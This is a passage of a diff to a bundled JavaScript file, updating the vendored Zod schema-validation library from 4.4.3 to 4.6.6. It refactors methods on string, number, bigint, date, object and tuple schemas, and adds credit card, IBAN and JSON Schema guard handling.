params)); - inst.cuid = (params) => inst.check(_cuid(ZodCUID, params)); - inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params)); - inst.ulid = (params) => inst.check(_ulid(ZodULID, params)); - inst.base64 = (params) => inst.check(_base64(ZodBase64, params)); - inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params)); - inst.xid = (params) => inst.check(_xid(ZodXID, params)); - inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params)); - inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params)); - inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params)); - inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params)); - inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params)); - inst.e164 = (params) => inst.check(_e164(ZodE164, params)); - inst.datetime = (params) => inst.check(datetime2(params)); - inst.date = (params) => inst.check(date2(params)); - inst.time = (params) => inst.check(time2(params)); - inst.duration = (params) => inst.check(duration2(params)); +}, { + email(params) { + return this.check(_email(ZodEmail, params)); + }, + url(params) { + return this.check(_url(ZodURL, params)); + }, + jwt(params) { + return this.check(_jwt(ZodJWT, params)); + }, + emoji(params) { + return this.check(_emoji2(ZodEmoji, params)); + }, + guid(params) { + return this.check(_guid(ZodGUID, params)); + }, + uuid(params) { + return this.check(_uuid(ZodUUID, params)); + }, + uuidv4(params) { + return this.check(_uuidv4(ZodUUID, params)); + }, + uuidv6(params) { + return this.check(_uuidv6(ZodUUID, params)); + }, + uuidv7(params) { + return this.check(_uuidv7(ZodUUID, params)); + }, + nanoid(params) { + return this.check(_nanoid(ZodNanoID, params)); + }, + cuid(params) { + return this.check(_cuid(ZodCUID, params)); + }, + cuid2(params) { + return this.check(_cuid2(ZodCUID2, params)); + }, + ulid(params) { + return this.check(_ulid(ZodULID, params)); + }, + base64(params) { + return this.check(_base64(ZodBase64, params)); + }, + base64url(params) { + return this.check(_base64url(ZodBase64URL, params)); + }, + xid(params) { + return this.check(_xid(ZodXID, params)); + }, + ksuid(params) { + return this.check(_ksuid(ZodKSUID, params)); + }, + ipv4(params) { + return this.check(_ipv4(ZodIPv4, params)); + }, + ipv6(params) { + return this.check(_ipv6(ZodIPv6, params)); + }, + cidrv4(params) { + return this.check(_cidrv4(ZodCIDRv4, params)); + }, + cidrv6(params) { + return this.check(_cidrv6(ZodCIDRv6, params)); + }, + e164(params) { + return this.check(_e164(ZodE164, params)); + }, + datetime(params) { + return this.check(_isoDateTime(ZodISODateTime, params)); + }, + date(params) { + return this.check(_isoDate(ZodISODate, params)); + }, + time(params) { + return this.check(_isoTime(ZodISOTime, params)); + }, + duration(params) { + return this.check(_isoDuration(ZodISODuration, params)); + } }); function string2(params) { return _string(ZodString, params); @@ -67671,6 +72294,22 @@ var ZodStringFormat = /* @__PURE__ */ $constructor("ZodStringFormat", (inst, def $ZodStringFormat.init(inst, def); _ZodString.init(inst, def); }); +var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { + $ZodISODateTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { + $ZodISODate.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { + $ZodISOTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { + $ZodISODuration.init(inst, def); + ZodStringFormat.init(inst, def); +}); var ZodEmail = /* @__PURE__ */ $constructor("ZodEmail", (inst, def) => { $ZodEmail.init(inst, def); ZodStringFormat.init(inst, def); @@ -67710,8 +72349,8 @@ function url(params) { } function httpUrl(params) { return _url(ZodURL, { - protocol: regexes_exports.httpProtocol, - hostname: regexes_exports.domain, + protocol: httpProtocol, + hostname: domain, ...util_exports.normalizeParams(params) }); } @@ -67820,6 +72459,20 @@ var ZodE164 = /* @__PURE__ */ $constructor("ZodE164", (inst, def) => { function e1642(params) { return _e164(ZodE164, params); } +var ZodCreditCard = /* @__PURE__ */ $constructor("ZodCreditCard", (inst, def) => { + $ZodCreditCard.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function creditCard2(params) { + return _creditCard(ZodCreditCard, params); +} +var ZodIBAN = /* @__PURE__ */ $constructor("ZodIBAN", (inst, def) => { + $ZodIBAN.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function iban2(params) { + return _iban(ZodIBAN, params); +} var ZodJWT = /* @__PURE__ */ $constructor("ZodJWT", (inst, def) => { $ZodJWT.init(inst, def); ZodStringFormat.init(inst, def); @@ -67835,10 +72488,13 @@ function stringFormat(format, fnOrRegex, _params = {}) { return _stringFormat(ZodCustomStringFormat, format, fnOrRegex, _params); } function hostname2(_params) { - return _stringFormat(ZodCustomStringFormat, "hostname", regexes_exports.hostname, _params); + return _stringFormat(ZodCustomStringFormat, "hostname", hostname, _params); } function hex2(_params) { - return _stringFormat(ZodCustomStringFormat, "hex", regexes_exports.hex, _params); + return _stringFormat(ZodCustomStringFormat, "hex", hex, _params); +} +function currencyCode2(_params) { + return _stringFormat(ZodCustomStringFormat, "currency_code", currencyCode, _params); } function hash(alg, params) { const enc = params?.enc ?? "hex"; @@ -67848,11 +72504,29 @@ function hash(alg, params) { throw new Error(`Unrecognized hash format: ${format}`); return _stringFormat(ZodCustomStringFormat, format, regex, params); } -var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { - $ZodNumber.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); - _installLazyMethods(inst, "ZodNumber", { +var ZodNumber = /* @__PURE__ */ $constructor( + "ZodNumber", + (inst, def) => { + $ZodNumber.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); + inst.isFinite = true; + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => { + const { minimum, exclusiveMinimum } = aggregateChecks(inst); + return Math.max(minimum ?? Number.NEGATIVE_INFINITY, exclusiveMinimum ?? Number.NEGATIVE_INFINITY); + }, + maxValue: (inst) => { + const { maximum, exclusiveMaximum } = aggregateChecks(inst); + return Math.min(maximum ?? Number.POSITIVE_INFINITY, exclusiveMaximum ?? Number.POSITIVE_INFINITY); + }, + isInt: (inst) => { + const { isInt, multipleOf } = aggregateChecks(inst); + return !!isInt || !!multipleOf?.some(Number.isSafeInteger); + }, + format: (inst) => aggregateChecks(inst).format ?? null + }, { gt(value, params) { return this.check(_gt(value, params)); }, @@ -67898,14 +72572,8 @@ var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { finite() { return this; } - }); - const bag = inst._zod.bag; - inst.minValue = Math.max(bag.minimum ?? Number.NEGATIVE_INFINITY, bag.exclusiveMinimum ?? Number.NEGATIVE_INFINITY) ?? null; - inst.maxValue = Math.min(bag.maximum ?? Number.POSITIVE_INFINITY, bag.exclusiveMaximum ?? Number.POSITIVE_INFINITY) ?? null; - inst.isInt = (bag.format ?? "").includes("int") || Number.isSafeInteger(bag.multipleOf ?? 0.5); - inst.isFinite = true; - inst.format = bag.format ?? null; -}); + }) +); function number2(params) { return _number(ZodNumber, params); } @@ -67936,28 +72604,53 @@ var ZodBoolean = /* @__PURE__ */ $constructor("ZodBoolean", (inst, def) => { function boolean2(params) { return _boolean(ZodBoolean, params); } -var ZodBigInt = /* @__PURE__ */ $constructor("ZodBigInt", (inst, def) => { - $ZodBigInt.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.gt = (value, params) => inst.check(_gt(value, params)); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.lt = (value, params) => inst.check(_lt(value, params)); - inst.lte = (value, params) => inst.check(_lte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - inst.positive = (params) => inst.check(_gt(BigInt(0), params)); - inst.negative = (params) => inst.check(_lt(BigInt(0), params)); - inst.nonpositive = (params) => inst.check(_lte(BigInt(0), params)); - inst.nonnegative = (params) => inst.check(_gte(BigInt(0), params)); - inst.multipleOf = (value, params) => inst.check(_multipleOf(value, params)); - const bag = inst._zod.bag; - inst.minValue = bag.minimum ?? null; - inst.maxValue = bag.maximum ?? null; - inst.format = bag.format ?? null; -}); +var ZodBigInt = /* @__PURE__ */ $constructor( + "ZodBigInt", + (inst, def) => { + $ZodBigInt.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => aggregateChecks(inst).minimum ?? null, + maxValue: (inst) => aggregateChecks(inst).maximum ?? null, + format: (inst) => aggregateChecks(inst).format ?? null + }, { + gte(value, params) { + return this.check(_gte(value, params)); + }, + min(value, params) { + return this.check(_gte(value, params)); + }, + gt(value, params) { + return this.check(_gt(value, params)); + }, + lt(value, params) { + return this.check(_lt(value, params)); + }, + lte(value, params) { + return this.check(_lte(value, params)); + }, + max(value, params) { + return this.check(_lte(value, params)); + }, + positive(params) { + return this.check(_gt(BigInt(0), params)); + }, + negative(params) { + return this.check(_lt(BigInt(0), params)); + }, + nonpositive(params) { + return this.check(_lte(BigInt(0), params)); + }, + nonnegative(params) { + return this.check(_gte(BigInt(0), params)); + }, + multipleOf(value, params) { + return this.check(_multipleOf(value, params)); + } + }) +); function bigint2(params) { return _bigint(ZodBigInt, params); } @@ -68027,41 +72720,51 @@ var ZodVoid = /* @__PURE__ */ $constructor("ZodVoid", (inst, def) => { function _void2(params) { return _void(ZodVoid, params); } -var ZodDate = /* @__PURE__ */ $constructor("ZodDate", (inst, def) => { - $ZodDate.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - const c = inst._zod.bag; - inst.minDate = c.minimum ? new Date(c.minimum) : null; - inst.maxDate = c.maximum ? new Date(c.maximum) : null; -}); -function date3(params) { +var ZodDate = /* @__PURE__ */ $constructor( + "ZodDate", + (inst, def) => { + $ZodDate.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + }, + /* @__PURE__ */ util_exports.derived({ + minDate: (inst) => { + const { minimum } = aggregateChecks(inst); + return minimum ? new Date(minimum) : null; + }, + maxDate: (inst) => { + const { maximum } = aggregateChecks(inst); + return maximum ? new Date(maximum) : null; + } + }, {}) +); +function date2(params) { return _date(ZodDate, params); } var ZodArray = /* @__PURE__ */ $constructor("ZodArray", (inst, def) => { + _ensureDefaultMemoizer(); $ZodArray.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => arrayProcessor(inst, ctx, json3, params); inst.element = def.element; - _installLazyMethods(inst, "ZodArray", { - min(n, params) { - return this.check(_minLength(n, params)); - }, - nonempty(params) { - return this.check(_minLength(1, params)); - }, - max(n, params) { - return this.check(_maxLength(n, params)); - }, - length(n, params) { - return this.check(_length(n, params)); - }, - unwrap() { - return this.element; - } - }); +}, { + min(n, params) { + return this.check(_minLength(n, params)); + }, + nonempty(params) { + return this.check(_minLength(1, params)); + }, + max(n, params) { + return this.check(_maxLength(n, params)); + }, + length(n, params) { + return this.check(_length(n, params)); + }, + unwrap() { + return this.element; + } }); function array(element, params) { return _array(ZodArray, element, params); @@ -68071,53 +72774,54 @@ function keyof(schema) { return _enum2(Object.keys(shape)); } var ZodObject = /* @__PURE__ */ $constructor("ZodObject", (inst, def) => { + _ensureDefaultMemoizer(); $ZodObjectJIT.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => objectProcessor(inst, ctx, json3, params); - util_exports.defineLazy(inst, "shape", () => { - return def.shape; - }); - _installLazyMethods(inst, "ZodObject", { - keyof() { - return _enum2(Object.keys(this._zod.def.shape)); - }, - catchall(catchall) { - return this.clone({ ...this._zod.def, catchall }); - }, - passthrough() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - loose() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - strict() { - return this.clone({ ...this._zod.def, catchall: never() }); - }, - strip() { - return this.clone({ ...this._zod.def, catchall: void 0 }); - }, - extend(incoming) { - return util_exports.extend(this, incoming); - }, - safeExtend(incoming) { - return util_exports.safeExtend(this, incoming); - }, - merge(other) { - return util_exports.merge(this, other); - }, - pick(mask) { - return util_exports.pick(this, mask); - }, - omit(mask) { - return util_exports.omit(this, mask); - }, - partial(...args) { - return util_exports.partial(ZodOptional, this, args[0]); - }, - required(...args) { - return util_exports.required(ZodNonOptional, this, args[0]); - } - }); + util_exports.installLazyProp(inst, "shape", (self2) => self2._zod.def.shape, false); +}, { + keyof() { + return _enum2(Object.keys(this._zod.def.shape)); + }, + catchall(catchall) { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall })); + }, + passthrough() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + loose() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + strict() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: never() })); + }, + strip() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: void 0 })); + }, + extend(incoming) { + return util_exports.extend(this, incoming); + }, + safeExtend(incoming) { + return util_exports.safeExtend(this, incoming); + }, + merge(other) { + return util_exports.merge(this, other); + }, + pick(mask) { + return util_exports.pick(this, mask); + }, + omit(mask) { + return util_exports.omit(this, mask); + }, + partial(...args) { + return util_exports.partial(ZodOptional, this, args[0]); + }, + exactPartial(...args) { + return util_exports.partial(ZodExactOptional, this, args[0], "exactPartial"); + }, + required(...args) { + return util_exports.required(ZodNonOptional, this, args[0]); + } }); function object(shape, params) { const def = { @@ -68195,13 +72899,26 @@ function intersection(left, right) { }); } var ZodTuple = /* @__PURE__ */ $constructor("ZodTuple", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTuple.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => tupleProcessor(inst, ctx, json3, params); - inst.rest = (rest) => inst.clone({ - ...inst._zod.def, - rest - }); +}, { + rest(rest) { + return this.clone({ + ...this._zod.def, + rest + }); + }, + partial() { + const def = this._zod.def; + if (def.checks?.length) + throw new Error(".partial() cannot be used on tuple schemas containing refinements"); + return this.clone({ + ...def, + items: def.items.map((item) => new ZodOptional({ type: "optional", innerType: item })) + }); + } }); function tuple(items, _paramsOrRest, _params) { const hasRest = _paramsOrRest instanceof $ZodType; @@ -68215,6 +72932,7 @@ function tuple(items, _paramsOrRest, _params) { }); } var ZodRecord = /* @__PURE__ */ $constructor("ZodRecord", (inst, def) => { + _ensureDefaultMemoizer(); $ZodRecord.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => recordProcessor(inst, ctx, json3, params); @@ -68238,13 +72956,12 @@ function record(keyType, valueType, params) { }); } function partialRecord(keyType, valueType, params) { - const k = clone(keyType); - k._zod.values = void 0; return new ZodRecord({ type: "record", - keyType: k, + keyType, valueType, - ...util_exports.normalizeParams(params) + ...util_exports.normalizeParams(params), + partial: true }); } function looseRecord(keyType, valueType, params) { @@ -68257,6 +72974,7 @@ function looseRecord(keyType, valueType, params) { }); } var ZodMap = /* @__PURE__ */ $constructor("ZodMap", (inst, def) => { + _ensureDefaultMemoizer(); $ZodMap.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => mapProcessor(inst, ctx, json3, params); @@ -68276,6 +72994,7 @@ function map(keyType, valueType, params) { }); } var ZodSet = /* @__PURE__ */ $constructor("ZodSet", (inst, def) => { + _ensureDefaultMemoizer(); $ZodSet.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => setProcessor(inst, ctx, json3, params); @@ -68296,7 +73015,7 @@ var ZodEnum = /* @__PURE__ */ $constructor("ZodEnum", (inst, def) => { ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => enumProcessor(inst, ctx, json3, params); inst.enum = def.entries; - inst.options = Object.values(def.entries); + inst.options = [...inst._zod.values]; const keys = new Set(Object.keys(def.entries)); inst.extract = (values2, params) => { const newEntries = {}; @@ -68377,6 +73096,7 @@ function file(params) { return _file(ZodFile, params); } var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTransform.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => transformProcessor(inst, ctx, json3, params); @@ -68392,21 +73112,20 @@ var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = inst); payload.issues.push(util_exports.issue(_issue)); } }; - const output = def.transform(payload.value, payload); - if (output instanceof Promise) { - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = def.transform(payload.value, payload); + if (output2 instanceof Promise) { + return output2.then((output3) => { + payload.value = output3; return payload; }); } - payload.value = output; - payload.fallback = true; + payload.value = output2; return payload; }; }); @@ -68522,7 +73241,7 @@ function _catch2(innerType, catchValue) { return new ZodCatch({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : util_exports.constantCatch(catchValue) }); } var ZodNaN = /* @__PURE__ */ $constructor("ZodNaN", (inst, def) => { @@ -68659,8 +73378,15 @@ function superRefine(fn, params) { } var describe2 = describe; var meta2 = meta; +var ZodInstanceOf = /* @__PURE__ */ $constructor("ZodInstanceOf", (inst, def) => { + ZodCustom.init(inst, def); +}, { + properties(shape, params) { + return this.check(_properties(shape, params)); + } +}); function _instanceof(cls, params = {}) { - const inst = new ZodCustom({ + const inst = new ZodInstanceOf({ type: "custom", check: "custom", fn: (data) => data instanceof cls, @@ -68700,7 +73426,7 @@ function preprocess(fn, schema) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/compat.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/compat.js var ZodIssueCode = { invalid_type: "invalid_type", too_big: "too_big", @@ -68726,7 +73452,32 @@ var ZodFirstPartyTypeKind; /* @__PURE__ */ (function(ZodFirstPartyTypeKind2) { })(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {})); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/from-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/iso.js +var iso_exports = {}; +__export(iso_exports, { + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + date: () => date3, + datetime: () => datetime2, + duration: () => duration2, + time: () => time2 +}); +function datetime2(params) { + return _isoDateTime(ZodISODateTime, params); +} +function date3(params) { + return _isoDate(ZodISODate, params); +} +function time2(params) { + return _isoTime(ZodISOTime, params); +} +function duration2(params) { + return _isoDuration(ZodISODuration, params); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/from-json-schema.js var z = { ...schemas_exports2, ...checks_exports2, @@ -68816,6 +73567,12 @@ function detectVersion(schema, defaultTarget) { } return defaultTarget ?? "draft-2020-12"; } +function applyMinItems(items, minItems) { + return items.map((item, index2) => index2 < minItems ? item : item.optional()); +} +function decodeJSONPointerSegment(segment) { + return segment.replace(/~1/g, "/").replace(/~0/g, "~"); +} function resolveRef(ref, ctx) { if (!ref.startsWith("#")) { throw new Error("External $ref is not supported, only local refs (#/...) are allowed"); @@ -68826,7 +73583,7 @@ function resolveRef(ref, ctx) { } const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions"; if (path[0] === defsKey) { - const key = path[1]; + const key = path[1] === void 0 ? void 0 : decodeJSONPointerSegment(path[1]); if (!key || !ctx.defs[key]) { throw new Error(`Reference not found: ${ref}`); } @@ -68834,6 +73591,198 @@ function resolveRef(ref, ctx) { } throw new Error(`Reference not found: ${ref}`); } +function checkObjectGuards(objectSchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const value = payload.value; + if (typeof value !== "object" || value === null || Array.isArray(value)) + return; + const keys = Object.getOwnPropertyNames(value); + if (guards.minProperties !== void 0 && keys.length < guards.minProperties) { + payload.issues.push({ + origin: "object", + code: "too_small", + minimum: guards.minProperties, + inclusive: true, + message: `Too small: expected object to have >=${guards.minProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.maxProperties !== void 0 && keys.length > guards.maxProperties) { + payload.issues.push({ + origin: "object", + code: "too_big", + maximum: guards.maxProperties, + inclusive: true, + message: `Too big: expected object to have <=${guards.maxProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.keySchema) { + for (const key of keys) { + const result = guards.keySchema.safeParse(key); + if (result.success) + continue; + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: result.error.issues, + input: key, + path: [key], + continue: true + }); + } + } + }); + return guard.pipe(objectSchema); +} +function canonicalKey(value, seen) { + if (value === null) + return "z"; + const type = typeof value; + if (type !== "object") { + if (type === "number" && Number.isNaN(value)) + return null; + const raw = String(value); + return `${type[0]}${raw.length}:${raw}`; + } + if (seen.has(value)) + return null; + seen.add(value); + try { + if (Array.isArray(value)) { + const parts2 = []; + for (const item of value) { + const key = canonicalKey(item, seen); + if (key === null) + return null; + parts2.push(key); + } + return `a${parts2.length}:[${parts2.join(",")}]`; + } + const keys = Object.keys(value).sort(); + const parts = []; + for (const k of keys) { + const key = canonicalKey(value[k], seen); + if (key === null) + return null; + parts.push(`${k.length}:${k}=${key}`); + } + return `o${parts.length}:{${parts.join(",")}}`; + } finally { + seen.delete(value); + } +} +var SCHEMA_KEYWORDS = /* @__PURE__ */ new Set([ + "items", + "prefixItems", + "additionalItems", + "additionalProperties", + "contains", + "propertyNames", + "not", + "if", + "then", + "else", + "allOf", + "anyOf", + "oneOf", + "unevaluatedItems", + "unevaluatedProperties", + "contentSchema" +]); +var SCHEMA_MAP_KEYWORDS = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "dependentSchemas", + "dependencies", + "$defs", + "definitions" +]); +function containsRef(value) { + if (typeof value !== "object" || value === null) + return false; + if (Array.isArray(value)) + return value.some(containsRef); + if (typeof value.$ref === "string") + return true; + return Object.entries(value).some(([key, sub]) => { + if (SCHEMA_KEYWORDS.has(key)) + return containsRef(sub); + if (!SCHEMA_MAP_KEYWORDS.has(key) || typeof sub !== "object" || sub === null) + return false; + return Object.values(sub).some(containsRef); + }); +} +function plural(n) { + return n === 1 ? "element" : "elements"; +} +function checkArrayGuards(arraySchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const items = payload.value; + if (!Array.isArray(items)) + return; + if (guards.uniqueItems === true) { + const firstSeen = /* @__PURE__ */ new Map(); + for (let i = 0; i < items.length; i++) { + const key = canonicalKey(items[i], /* @__PURE__ */ new Set()); + if (key === null) + continue; + const first = firstSeen.get(key); + if (first === void 0) { + firstSeen.set(key, i); + continue; + } + payload.issues.push({ + code: "custom", + message: `Array items must be unique: element at index ${i} duplicates the one at index ${first}`, + input: items, + path: [i], + continue: true + }); + } + } + if (guards.containsSchema) { + const minContains = guards.minContains ?? 1; + const ceiling = guards.maxContains !== void 0 ? guards.maxContains + 1 : Number.POSITIVE_INFINITY; + let matches = 0; + for (const item of items) { + if (guards.containsSchema.safeParse(item).success && ++matches >= ceiling) + break; + } + if (matches < minContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at least ${minContains} matching ${plural(minContains)}; found ${matches}`, + input: items, + continue: true + }); + } + if (guards.maxContains !== void 0 && matches > guards.maxContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at most ${guards.maxContains} matching ${plural(guards.maxContains)}`, + input: items, + continue: true + }); + } + } + }); + return guard.pipe(arraySchema); +} +function getTupleRest(restSchema, ctx) { + if (restSchema === false) { + return void 0; + } + if (restSchema === void 0 || restSchema === true) { + return z.any(); + } + return convertSchema(restSchema, ctx); +} +var fullTime = /^(?:[01]\d|2[0-3]):[0-5]\d:[0-5]\d(?:\.\d+)?(?:Z|[+-](?:[01]\d|2[0-3]):[0-5]\d)$/; function convertBaseSchema(schema, ctx) { if (schema.not !== void 0) { if (typeof schema.not === "object" && Object.keys(schema.not).length === 0) { @@ -68926,13 +73875,15 @@ function convertBaseSchema(schema, ctx) { } else if (format === "uuid" || format === "guid") { stringSchema = stringSchema.check(z.uuid()); } else if (format === "date-time") { - stringSchema = stringSchema.check(z.iso.datetime()); + stringSchema = stringSchema.check(z.iso.datetime({ offset: true })); } else if (format === "date") { stringSchema = stringSchema.check(z.iso.date()); } else if (format === "time") { - stringSchema = stringSchema.check(z.iso.time()); + stringSchema = stringSchema.check(z.regex(fullTime)); } else if (format === "duration") { stringSchema = stringSchema.check(z.iso.duration()); + } else if (format === "hostname") { + stringSchema = stringSchema.check(z.hostname()); } else if (format === "ipv4") { stringSchema = stringSchema.check(z.ipv4()); } else if (format === "ipv6") { @@ -68949,6 +73900,10 @@ function convertBaseSchema(schema, ctx) { stringSchema = stringSchema.check(z.base64url()); } else if (format === "e164") { stringSchema = stringSchema.check(z.e164()); + } else if (format === "credit_card") { + stringSchema = stringSchema.check(z.creditCard()); + } else if (format === "iban") { + stringSchema = stringSchema.check(z.iban()); } else if (format === "jwt") { stringSchema = stringSchema.check(z.jwt()); } else if (format === "emoji") { @@ -68982,10 +73937,10 @@ function convertBaseSchema(schema, ctx) { case "number": case "integer": { let numberSchema = type === "integer" ? z.number().int() : z.number(); - if (typeof schema.minimum === "number") { + if (typeof schema.minimum === "number" && schema.exclusiveMinimum !== true) { numberSchema = numberSchema.min(schema.minimum); } - if (typeof schema.maximum === "number") { + if (typeof schema.maximum === "number" && schema.exclusiveMaximum !== true) { numberSchema = numberSchema.max(schema.maximum); } if (typeof schema.exclusiveMinimum === "number") { @@ -69016,21 +73971,10 @@ function convertBaseSchema(schema, ctx) { const shape = {}; const properties = schema.properties || {}; const requiredSet = new Set(schema.required || []); + const additionalSchema = typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : void 0; for (const [key, propSchema] of Object.entries(properties)) { const propZodSchema = convertSchema(propSchema, ctx); - shape[key] = requiredSet.has(key) ? propZodSchema : propZodSchema.optional(); - } - if (schema.propertyNames) { - const keySchema = convertSchema(schema.propertyNames, ctx); - const valueSchema = schema.additionalProperties && typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : z.any(); - if (Object.keys(shape).length === 0) { - zodSchema = z.record(keySchema, valueSchema); - break; - } - const objectSchema2 = z.object(shape).passthrough(); - const recordSchema = z.looseRecord(keySchema, valueSchema); - zodSchema = z.intersection(objectSchema2, recordSchema); - break; + assignProp(shape, key, requiredSet.has(key) ? propZodSchema : propZodSchema.optional()); } if (schema.patternProperties) { const patternProps = schema.patternProperties; @@ -69057,15 +74001,51 @@ function convertBaseSchema(schema, ctx) { } zodSchema = result; } - break; - } - const objectSchema = z.object(shape); - if (schema.additionalProperties === false) { - zodSchema = objectSchema.strict(); - } else if (typeof schema.additionalProperties === "object") { - zodSchema = objectSchema.catchall(convertSchema(schema.additionalProperties, ctx)); + if (schema.additionalProperties === false) { + const propertyKeys = Object.keys(shape); + const patterns = patternKeys.map((p) => new RegExp(p)); + const basePatternSchema = zodSchema; + zodSchema = zodSchema.check((payload) => { + if (!isPlainObject(payload.value)) + return; + const unrecognized = []; + for (const key of Object.keys(payload.value)) { + if (propertyKeys.includes(key)) + continue; + if (patterns.some((regex) => regex.test(key))) + continue; + unrecognized.push(key); + } + if (unrecognized.length) { + payload.issues.push({ + code: "unrecognized_keys", + keys: unrecognized, + input: payload.value, + inst: basePatternSchema + }); + } + }); + } } else { - zodSchema = objectSchema.passthrough(); + const objectSchema = z.object(shape); + if (schema.additionalProperties === false) { + zodSchema = objectSchema.strict(); + } else if (additionalSchema) { + zodSchema = objectSchema.catchall(additionalSchema); + } else { + zodSchema = objectSchema.passthrough(); + } + } + const hasKeyGuard = schema.propertyNames !== void 0 && schema.propertyNames !== true; + const minProperties = typeof schema.minProperties === "number" ? schema.minProperties : void 0; + const maxProperties = typeof schema.maxProperties === "number" ? schema.maxProperties : void 0; + if (hasKeyGuard || minProperties !== void 0 || maxProperties !== void 0) { + let keySchema; + if (hasKeyGuard) { + const keyJSONSchema = typeof schema.propertyNames === "object" && schema.propertyNames.type === void 0 ? { type: "string", ...schema.propertyNames } : schema.propertyNames; + keySchema = convertSchema(keyJSONSchema, ctx); + } + zodSchema = checkObjectGuards(zodSchema, { keySchema, minProperties, maxProperties }); } break; } @@ -69073,13 +74053,12 @@ function convertBaseSchema(schema, ctx) { const prefixItems = schema.prefixItems; const items = schema.items; if (prefixItems && Array.isArray(prefixItems)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = prefixItems.map((item) => convertSchema(item, ctx)); - const rest = items && typeof items === "object" && !Array.isArray(items) ? convertSchema(items, ctx) : void 0; - if (rest) { - zodSchema = 